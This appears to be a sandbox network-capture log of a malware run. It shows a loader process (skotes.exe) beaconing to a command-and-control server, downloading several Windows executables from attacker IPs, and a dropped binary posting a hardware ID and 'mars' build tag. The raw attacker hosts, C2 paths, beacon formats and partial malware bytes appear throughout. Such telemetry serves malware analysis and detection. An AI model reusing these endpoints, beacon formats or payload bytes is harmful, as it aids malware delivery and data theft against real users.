Nov 18, 2024 08:57:05.484827042 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 18, 2024 08:57:05.484859943 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 18, 2024 08:57:05.485680103 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 08:57:05.485713959 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 18, 2024 08:57:05.485747099 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 18, 2024 08:57:05.488203049 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 08:57:05.488235950 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 18, 2024 08:57:05.488289118 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 18, 2024 08:57:05.490240097 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>
Nov 18, 2024 08:57:05.490269899 CET	212	IN	Data Raw: db 5a f6 ef 70 85 92 e6 a4 0d 11 68 e3 23 a1 8f bb c9 69 e3 eb b3 9d b4 36 3e 26 27 7f 8d ea 68 18 f1 9a bb d9 97 27 00 5f 01 eb 91 14 97 1b 8f 16 b8 9f 95 dc 70 a6 d4 1a d9 54 49 3a 65 45 19 31 a7 fd e0 96 d7 67 a1 ae 5e 7c 7d 8e 22 79 4d e2 8e Data Ascii: Zph#i6>&'h'_pTI:eE1g^\|}"yMLG:wp;Rbz"9a9kPglYhoQ37e"q3eUX_'>y Yb`&Fh.Eb8!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50129	185.215.113.43	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:12.634243965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007104001&unit=246122658369
Nov 18, 2024 08:57:13.539494991 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50131	185.215.113.16	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:13.556020975 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 08:57:14.477339029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:14 GMT Content-Type: application/octet-stream Content-Length: 1833472 Last-Modified: Mon, 18 Nov 2024 07:41:13 GMT Connection: keep-alive ETag: "673aef99-1bfa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 8b 19 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"j@j@M$a$$ $b@.rsrc$r@.idata $t@ `+$v@etqepvsz` P\x@trlogbdmj@.taggant0j"@
Nov 18, 2024 08:57:14.477353096 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:14.477535009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:14.477560997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:14.477577925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:14.477638006 CET	1236	IN	Data Raw: c4 fa c9 f9 1d 18 61 82 bb 69 d9 5b 37 51 a3 6b f1 89 da 7b 81 d9 56 ff f8 a5 3a d5 42 ee dd 70 ec a4 b3 74 86 5a 2b f9 70 1e 19 6b 32 6d d0 22 db 8c d1 ea 7f c5 0a 87 ba 9e f4 99 7f 68 23 05 08 ea b2 1f 01 57 46 61 52 09 20 e0 da 5b 83 06 e9 61 Data Ascii: ai[7Qk{V:BptZ+pk2m"h#WFaR [a\|]gGnY?iRv3HzA@Qf:08=z3'~ v$f:}YVW~%lF];1;525wp~k?8!0vW[<N
Nov 18, 2024 08:57:14.477662086 CET	1236	IN	Data Raw: 5e 7c 08 17 b0 a5 92 00 6c e2 8b f5 3b 06 04 07 7a 5f cf ef 9e db 5c 9f 7e 4e 59 b2 b9 67 d2 e2 70 0c 9b d2 48 0d 0e 75 81 89 5b 82 31 29 25 94 2e 2e 56 df 0c e2 fa 77 27 2e 57 63 bb 4a ab 00 9d 64 8a 0d 4e 1f 2e 19 66 55 73 28 77 64 c7 a3 ab b6 Data Ascii: ^\|l;z_\~NYgpHu[1)%..Vw'.WcJdN.fUs(wdl#nV$[#U=YJs^s.yvVakdwRwv3Z\|PW}n-#tC#uj.,)i!0ul+H;#yA5[:NBa-
Nov 18, 2024 08:57:14.477679014 CET	1236	IN	Data Raw: 84 79 df 80 dd e2 53 94 9e 5d 68 37 90 21 63 50 76 e2 72 5f be e9 ad 81 2a 1b 90 ce f5 01 62 be ef f2 cd ff 55 1d dc 21 f8 7e 60 87 76 ef ed 39 7a 67 76 0b 93 e3 a4 9f 84 e9 09 7c 1e 61 96 f5 8b 22 63 ff 2e ef 61 d3 f8 71 c3 2f 18 f6 93 39 5e fa Data Ascii: yS]h7!cPvr_bU!~`v9zgv\|a"c.aq/9^M1f'fyzk/vh hWhrO{bnf2>J{:bGb*\|tsktmV-rmy:qv,~7v9evP$Q{e
Nov 18, 2024 08:57:14.477695942 CET	772	IN	Data Raw: 86 63 d6 ac f9 f2 0c 90 b0 f4 01 21 cc 09 78 21 bf a1 94 0b 46 fb f4 ab fe 60 3b 0c ff 2c 0e 48 84 d1 d6 19 4e 63 94 ca ae 60 5a 3b 94 f5 3c 09 56 66 64 b4 f3 ef 6b 7b a9 e1 67 43 b0 05 de 1b 15 fb 6d 7f f5 ef 61 7f f6 3d 96 88 93 5b 5b 9f f2 ef Data Ascii: c!x!F`;,HNc`Z;<Vfdk{gCma=[[]r`eYaB:rtBchf-9zK+r9Ih99uvg9b9e"HcyFrvmgjytre7ZV\@v;X*bKz
Nov 18, 2024 08:57:14.477755070 CET	1236	IN	Data Raw: 2d f1 93 0d 8e ea 75 38 9a 0e 61 29 11 63 7a 10 7e 09 da 53 b2 f5 a7 41 eb 11 68 07 b2 5d 2e 80 b8 df 96 3b be fb a9 07 0a 63 da e7 7c 97 40 3d ce f6 67 98 82 29 c3 20 48 ef 61 67 f6 51 96 63 90 9d 83 77 76 61 d6 19 96 66 97 a5 77 60 94 a5 fe 5d Data Ascii: -u8a)cz~SAh].;c\|@=g) HagQcwvafw`]kIR9gMrPg9b)],E*5Z&eZfela&t4Ja.a4<][c?{YI$hh7y[~(7`a<g
Nov 18, 2024 08:57:14.482350111 CET	1236	IN	Data Raw: f9 d2 57 10 4b 69 94 08 3e 03 07 28 83 c1 35 fd 2b fa c0 87 fe f4 76 13 b2 d9 b0 fc 9f fa 8e 09 70 ef 8d 84 92 90 a9 29 b4 c9 d6 10 66 fa 85 82 80 77 7f 24 2f 17 65 ff 19 23 b6 26 7f 61 96 c3 7e 7a 68 13 76 e1 d5 39 e0 e1 6f 5f 96 1d 9a 19 7a 5d Data Ascii: WKi>(5+vp)fw$/e#&a~zhv9o_z]S{c=^v;6:*cR$f6Nw=b{r/&+R]{)]tJym9rrv<}h9&"JsEBca9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50133	185.215.113.43	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:17.934010029 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007105001&unit=246122658369
Nov 18, 2024 08:57:18.846935034 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50134	185.215.113.16	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:19.197184086 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 08:57:19.982214928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:19 GMT Content-Type: application/octet-stream Content-Length: 921600 Last-Modified: Mon, 18 Nov 2024 07:39:20 GMT Connection: keep-alive ETag: "673aef28-e1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 20 ef 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL :g"`w@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 08:57:19.982232094 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 18, 2024 08:57:19.982249975 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 18, 2024 08:57:19.982323885 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 18, 2024 08:57:19.982350111 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 18, 2024 08:57:19.982378006 CET	436	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Nov 18, 2024 08:57:19.982398033 CET	1236	IN	Data Raw: 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 8b 41 04 8b 11 89 45 ec 8b 41 08 89 Data Ascii: (MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3
Nov 18, 2024 08:57:19.982429028 CET	1236	IN	Data Raw: 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 04 04 00 3b fb 0f 84 31 fd ff ff e9 Data Ascii: EHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H
Nov 18, 2024 08:57:19.982454062 CET	1236	IN	Data Raw: 7c d8 84 db 75 c9 5b 5f eb 8c 8b 46 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 0e f5 03 00 53 56 57 8d 4c 24 28 e8 13 7f 00 00 8d 44 24 38 33 db 50 68 ff 7f 00 00 88 5c 24 19 88 5c 24 1a ff Data Ascii: \|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5
Nov 18, 2024 08:57:19.982480049 CET	1236	IN	Data Raw: e0 50 e8 2f 79 00 00 8d 4d e0 e8 9b 69 00 00 68 74 ca 49 00 8d 4d d0 c7 45 e0 00 01 00 00 89 5d e8 c7 45 ec 01 00 00 00 e8 a1 6d 00 00 53 53 8d 45 e0 50 8d 45 d0 50 e8 fa 78 00 00 8d 4d d0 89 45 0c e8 63 69 00 00 8d 4d e0 e8 6c a0 00 00 8b 75 ac Data Ascii: P/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM
Nov 18, 2024 08:57:19.989029884 CET	1236	IN	Data Raw: fe 5c 75 07 33 c9 66 89 4c 46 fe 5e c3 55 8b ec 56 57 8b f9 33 f6 46 8b 4f 0c 8b 01 3b c6 0f 8f de fc 03 00 51 ff 75 08 8b cf e8 06 00 00 00 5f 5e 5d c2 04 00 55 8b ec 53 56 57 ff 75 08 8b f1 e8 65 15 02 00 59 8b 4e 0c 33 db 8b f8 43 8b 01 3b c3 Data Ascii: \u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50136	185.215.113.206	80	1008	C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:20.915818930 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:57:21.830550909 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:57:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:57:21.833574057 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 2d 2d 0d 0a Data Ascii: ------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="build"mars------KKFBFCAFCBKFIEBFHIDB--
Nov 18, 2024 08:57:22.116220951 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:57:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	50138	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:23.205934048 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007106001&unit=246122658369
Nov 18, 2024 08:57:24.116358995 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	50140	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:24.162967920 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 08:57:25.051068068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:24 GMT Content-Type: application/octet-stream Content-Length: 2755072 Last-Modified: Mon, 18 Nov 2024 07:39:47 GMT Connection: keep-alive ETag: "673aef43-2a0a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 